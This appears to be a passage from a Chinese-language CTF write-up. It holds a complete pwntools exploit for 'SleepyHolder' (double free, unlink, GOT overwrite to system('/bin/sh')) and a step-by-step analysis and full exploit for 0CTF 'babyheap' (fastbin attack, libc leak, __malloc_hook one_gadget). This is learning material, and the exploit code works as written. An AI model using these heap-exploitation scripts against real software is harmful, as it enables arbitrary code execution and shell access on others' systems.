52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'SleepyHolder' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")

# todo here

def keep(size,content,huge=True):#size:1 small,2 big,3 huge
p.recvuntil('Renew secret\n')
p.send('1')
if huge:
p.recvuntil('lock it forever\n')
p.send(str(size))
p.recvuntil('secret: \n')
p.send(content)
else:
p.recvuntil('Big secret\n')
p.send(str(size))
p.recvuntil('secret: \n')
p.send(content)

def wipe(size):
p.recvuntil('Renew secret\n')
p.send('2')
p.recvuntil('Big secret\n')
p.send(str(size))

def renew(size,content):
p.recvuntil('Renew secret\n')
p.send('3')
p.recvuntil('Big secret\n')
p.send(str(size))
p.recvuntil('secret: \n')
p.send(content)
sleep(3)

keep(1,'aaaaaaaa')#keep small secret
keep(2,'bbbbbbbb')#keep big secret
wipe(1)#wipe small
keep(3,'cccccccc')#keep huge
wipe(1)#wipe small
log.info("\033[1;36m" + 'Double free now' + "\033[0m")



f_ptr = 0x6020d0#small_ptr
fake_chunk = p64(0) + p64(0x21)#fake chunk [prev_size,size]
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)#[fd,bk]
fake_chunk += '\x20'#fake prev_size
keep(1, fake_chunk,huge=False)#
wipe(2)#trigger Unlink
log.info("\033[1;36m" + 'Unlink now' + "\033[0m")

atoi_GOT = 0x602080
free_GOT = 0x602018
puts_GOT = 0x602020
puts_plt = 0x400760

f = p64(0)#padding
f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)#big_ptr,huge_ptr,small_ptr
f += p32(1)#Make big secret be using
renew(1, f)
renew(1, p64(puts_plt))#make free_GOT->puts_plt
wipe(2)#do puts(atoi_GOT)

libc_base=my_u64(p.recv(6))-0x36e80#atoi base

log.info("\033[1;36m" +'libc_base:'+hex(libc_base) + "\033[0m")

renew(1,p64(libc_base+0x45390))#free_GOT->system
keep(2,'/bin/sh',huge=False)#big_ptr->"/bin/sh"
wipe(2)#do system(big_ptr)->system("/bin/sh")

p.interactive()

0ctfbabyheap

程序分析

1580313525795

程序主要分为四个功能:Allocate,Fill,Free,Dump

Allocate:

1580113992227

依次按照下标分配,最多为16个chunk,首先判断是否为using chunk,输入size后最大为0x1000,使用calloc分配空间(相较于malloc函数,calloc函数会自动将内存初始化为0)然后更新记录结构体的FLAG、size,content_ptr

Fill:

1580114274572

输入下标后判断下标是否在范围内,然后判断对应下标的记录结构体FLAG位是否是1(using or not),然后输入size,判断size是否大于0,然后直接输入,此处并未做输入大小检查

Free:

1580114435473

输入下标,判断是否在范围内,然后判断using or not,接着置记录结构体FLAG位为0,size为0,然后free掉content_ptr指针并置零

Dump:

1580115008365

输入下标后判断是否在范围内,判断using or not,然后按记录的size打印内容

Exploit:

多calloc几个chunk之后可以利用Fill的漏洞修改相邻chunk的size还有内容

1
2
3
4
5
6
7
8
alloc(0x20) #index 0 chunk 0
alloc(0x20) #index 1 chunk 1
alloc(0x20) #index 2 chunk 2
alloc(0x20) #index 3 chunk 3
alloc(0x80) #index 4 chunk 4 Small chunk
alloc(0x20) #index 5 Avoid merging into top_chunk
free(1)
free(2)

此时chunk 1,2位于fastbin中,且chunk 2的fd指向chunk 1,通过Fill chunk 0,可以达到修改chunk 2 fd,使其指向chunk 4,然后通过Fill chunk 3 修改chunk 4的size,避免fastbin attack时size不同而出错

1
2
3
4
5
6
7
8
9
10
payload  = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0) #Low byte of chunk 4's address
fill(0, payload) #This payload only edit the fd of chunk 2

payload = p64(0)*5
payload += p64(0x31) #This payload edit the size of chunk 4
fill(3, payload)
1
2
alloc(0x20)#index 1  chunk 2 back
alloc(0x20)#index 2 chunk 4

然后再通过chunk 3修改chunk 4的大小,这样在free chunk 4 之后chunk 4的fd还有bk就会指向 main_arena

1
2
3
4
5
payload  = p64(0)*5
payload += p64(0x91)
fill(3, payload) #recover 0x80

free(4)#fd & bk point to main_arena now

此时Dump chunk 2就可以获得 fd & bk的值,从而获得libc base

1
libc_base = u64(dump(2)[:8]) - 0x3c4b78 #The offset of main_arena+... in libc

此时可想办法利用__malloc_hook,将one_gadget填入,当__malloc_hook不为0时即可调用

1580295721778

由于index 2此时指向的依然是chunk 4,我们可以对free掉的chunk 4的fd做修改,再次利用fastbin attack申请到一个包含\malloc_hook的堆块,不过此时要缩小其大小,让chunk 4的size在fast chunk之内

利用fastbin attack申请一个包含\malloc_hook的堆块需要对应的地方有合适的size

1580296367287

当偏移加上0xd之后,利用此处的0x7f size来构造一个chunk,所以我们要将free后在usorted bin中的chunk 4分割,calloc(0x60)然后free之后即可利用chunk 3来修改其fd

1
2
3
4
5
6
alloc(0x60) #0x80---->0x70
free(4) #Set chunk to fastbin

fill(2, p64(libc_base + 0x3c4aed)) #Fastbin attack target
alloc(0x60)#index 4
alloc(0x60)#index 6 get our target

最后利用

1
2
3
4
5
6
payload  = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)#one_gedget
fill(6, payload)#Fill __malloc_hook

alloc(255)#just call the function

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './0ctfbabyheap' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here

elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
# todo here

def alloc(size):
p.sendline('1')
p.sendlineafter(': ', str(size))
p.recvuntil(': ', timeout=1)

def fill(idx, data):
p.sendline('2')
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', str(len(data)))
p.sendafter(': ', data)
p.recvuntil(': ')

def free(idx):
p.sendline('3')
p.sendlineafter(': ', str(idx))
p.recvuntil(': ')

def dump(idx):
p.sendline('4')
p.sendlineafter(': ', str(idx))
p.recvuntil(': \n')
data = p.recvline()
p.recvuntil(': ')
return data
def exploit():
p.recvuntil(': ')

alloc(0x20) #index 0
alloc(0x20) #index 1
alloc(0x20) #index 2
alloc(0x20) #index 3
alloc(0x80) #index 4
alloc(0x20) #index 5 Avoid merging into top_chunk
free(1)
free(2)

payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)
fill(0, payload)

payload = p64(0)*5
payload += p64(0x31)
fill(3, payload)

alloc(0x20)#index 1
alloc(0x20)#index 2 0x80

payload = p64(0)*5
payload += p64(0x91)
fill(3, payload)#recover 0x80

free(4)

libc_base = u64(dump(2)[:8]) - 0x3c4b78
log.info("libc_base: " + hex(libc_base))#libc successful
alloc(0x60)#0x80---->0x70
free(4) #Set to fastbin
fill(2, p64(libc_base + 0x3c4aed)) #Fastbin attack target
alloc(0x60)#index 4
alloc(0x60)#index 6
#gdb.attach(p,'brva 0xdcc\nbrva 0x1022\nbrva 0x4f3\nbrva 0x1107')
payload = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
fill(6, payload)

alloc(255)

exploit()
p.interactive()